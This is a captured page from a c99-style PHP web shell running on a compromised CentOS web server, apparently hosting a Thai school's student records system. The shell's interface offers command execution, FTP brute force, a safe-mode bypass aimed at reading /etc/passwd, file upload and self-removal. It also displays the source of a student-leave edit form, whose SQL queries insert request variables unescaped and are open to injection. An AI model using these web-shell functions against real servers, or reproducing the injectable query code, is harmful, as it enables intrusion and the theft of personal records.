!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Std_Acc_depart/Student/Furlough/   drwxr-xr-x
Free 50.66 GB of 127.8 GB (39.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEdit.php (4.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../../include/FunctionDB.php");
include(
"../../../include/Function.php");
ConnectDB();
$sql ="Select * From student_tb Where Student_id='$Student_id' ";
$result mysql_query($sql) or die("Error".mysql_error());
$rs mysql_fetch_array($result);
$sql1 "Select * From std_absent_tb Where code='$code'";
$result1 mysql_query($sql1) or die("Error".mysql_error());
$row mysql_fetch_array($result1);
?>
<html>
<head>
<title>Edit</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#FFFFFF">
<font face="Tahoma, MS Sans Serif"> 
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td height="349" colspan="2"> 
      <form name="form1" method="post" action="EditFurlough.php">
        <table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#99CCFF">
          <tr bgcolor="#E2DAF1"> 
            <td height="25" colspan="3"> <div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">แก้ไข 
                </font><font size="4" face="Tahoma"><strong>ข้อมูลการลา</strong></font></strong></div></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">รหัสนักศึกษา</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><strong><font size="2" face="Tahoma"><? echo $rs[Student_id]?></font></strong></td>
          </tr>
          <tr> 
            <td width="27%" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">ชื่อ-นามสกุล</font></div></td>
            <td width="3%" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"></font></div></td>
            <td width="70%" bgcolor="#EEEEEE"><strong><font size="2" face="Tahoma"><? echo $rs[First_name]?>&nbsp;<? echo $rs[Name]?> 
              <? echo $rs[Lastname]?></font></strong></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">วันที่บันทึก</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">วันที่ 
              <select name="mDate" id="mDate" class="select" >
                <? getDay1to31();?>
              </select>
              เดือน 
              <select name="mMonth" id="mMonth" class="select" >
                <? getThaiMonth();?>
              </select>
              ปี พ.ศ. 
              <input name="mYear" type="text" id="mYear" size="10" class="input1" >
              </font></td>
          </tr>
          <tr bordercolor="#CCCCCC"> 
            <td nowrap bordercolor="#CCCCCC" bgcolor="#EEEEEE"> <div align="center"><font color="#000000" size="2" face="Tahoma, MS Sans Serif">สาเหตุการลา</font></div></td>
            <td bordercolor="#CCCCCC" bgcolor="#EEEEEE">&nbsp;</td>
            <td nowrap bordercolor="#CCCCCC" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
              <textarea name="Case_ab" cols="40" rows="5" id="Case_ab"><? echo $row[Case_ab]?></textarea>
              </font></td>
          </tr>
          <tr> 
            <td height="22" bgcolor="#EEEEEE"> 
              <div align="center"><font size="2" face="Tahoma">จำนวนวันลา</font><font color="#003366" size="2" face="Tahoma"> 
                </font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">
              <input name="Unit" type="text" class="input1" id="Unit" value="<? echo $row[Unit]?>" size="10" >
              </font> </td>
          </tr>
          <tr bgcolor="#E2DAF1"> 
            <td colspan="3"> <div align="center"> 
                <input type="hidden" name="Student_id" value="<? echo $rs[Student_id]?>">
                     <input type="hidden" name="code" value="<? echo $row[code]?>">
                <input type="submit" name="Submit" value="  Save  ">
              </div></td>
          </tr>
        </table>
      </form></td>
  </tr>
</table>
</font>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.027 ]--